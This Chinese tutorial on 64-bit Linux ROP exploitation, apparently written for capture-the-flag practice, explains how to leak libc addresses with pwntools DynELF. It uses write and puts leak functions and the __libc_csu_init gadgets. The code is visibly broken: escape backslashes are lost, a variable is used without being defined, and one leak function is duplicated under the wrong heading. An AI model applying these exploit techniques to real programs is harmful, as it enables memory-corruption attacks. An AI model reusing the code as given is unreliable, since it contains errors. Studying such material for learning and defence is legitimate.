在没有libc的时候，使用pwntools的DynELF可以来泄露地址
leak函数格式
p = process('./xxx')
def leak(address):
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址
address是需要泄露地址的信息，payload就是触发目标程序泄漏address处信息的攻击代码。
当我们想要调用system函数，就必须找到一个可以泄漏目标程序内部的地址，进而计算出偏移。
文章上介绍的是很常见的puts，write函数
Linux:
write(fd, addr, len) x86下就是正常的参数从右向左进栈。
在x64下通常是rdi,rsi,rdx,rcx,r8,r9从左向右来接收参数，更多的才写到栈上。所以当rop链不能构成时就可以使用 __libc_csu_init函数中的通用gadget。
_libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数，一般先于main函数执行
text:00000000004006E0 ; void _libc_csu_init(void)
.text:00000000004006E0 public __libc_csu_init
.text:00000000004006E0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004006E0 ; __unwind {
.text:00000000004006E0 push r15
.text:00000000004006E2 mov r15d, edi
.text:00000000004006E5 push r14
.text:00000000004006E7 mov r14, rsi
.text:00000000004006EA push r13
.text:00000000004006EC mov r13, rdx
.text:00000000004006EF push r12
.text:00000000004006F1 lea r12, __frame_dummy_init_array_entry
.text:00000000004006F8 push rbp
.text:00000000004006F9 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400700 push rbx
.text:0000000000400701 sub rbp, r12
.text:0000000000400704 xor ebx, ebx
.text:0000000000400706 sar rbp, 3
.text:000000000040070A sub rsp, 8
.text:000000000040070E call _init_proc
.text:0000000000400713 test rbp, rbp
.text:0000000000400716 jz short loc_400736
.text:0000000000400718 nop dword ptr [rax+rax+00000000h]
.text:0000000000400720
.text:0000000000400720 loc_400720: ; CODE XREF: __libc_csu_init+54↓j
************************************************************
.text:0000000000400720 mov rdx, r13
.text:0000000000400723 mov rsi, r14
.text:0000000000400726 mov edi, r15d
.text:0000000000400729 call qword ptr [r12+rbx*8]
.text:000000000040072D add rbx, 1
.text:0000000000400731 cmp rbx, rbp
.text:0000000000400734 jnz short loc_400720
.text:0000000000400736
.text:0000000000400736 loc_400736:
; CODE XREF: __libc_csu_init+36↑j
*************************************************************
.text:0000000000400736 add rsp, 8
.text:000000000040073A pop rbx
.text:000000000040073B pop rbp
.text:000000000040073C pop r12
.text:000000000040073E pop r13
.text:0000000000400740 pop r14
.text:0000000000400742 pop r15
.text:0000000000400744 retn
这两部分便是gadget,0x040073A处可以把我们想要写入的数据来进行压栈。而且在里面隐藏了两个常用的gadget
图片.png
pop rdi;ret和pop rsi；pop r15
0x41 0x5f 0xc3
0x5f 0xc3
puts函数：puts(addr)从地址处输出字符串，当读到"\x00"时截断。
leak函数(之后没有其他输出）
def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxxn') #一定要在puts前释放完输出
up = ""
while True:
#由于接收完标志字符串结束的回车符后，就没有其他输出了，故先等待1秒钟，如果确实接收不到了，就说明输出结束了
#以便与不是标志字符串结束的回车符（0x0A）混淆，这也利用了recv函数的timeout参数，即当timeout结束后仍得不到输出，则直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == 'n' and c == "": #接收到的上一个字符为回车符，而当前接收不到新字符，则
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += "x00"
break
else:
buf += c
up = c
data = buf[:4] #取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
还有其他输出
def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxxn') #一定要在puts前释放完输出
up = ""
while True:
#由于接收完标志字符串结束的回车符后，就没有其他输出了，故先等待1秒钟，如果确实接收不到了，就说明输出结束了
#以便与不是标志字符串结束的回车符（0x0A）混淆，这也利用了recv函数的timeout参数，即当timeout结束后仍得不到输出，则直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == 'n' and c == "": #接收到的上一个字符为回车符，而当前接收不到新字符，则
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += "x00"
break
else:
buf += c
up = c
data = buf[:4] #取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data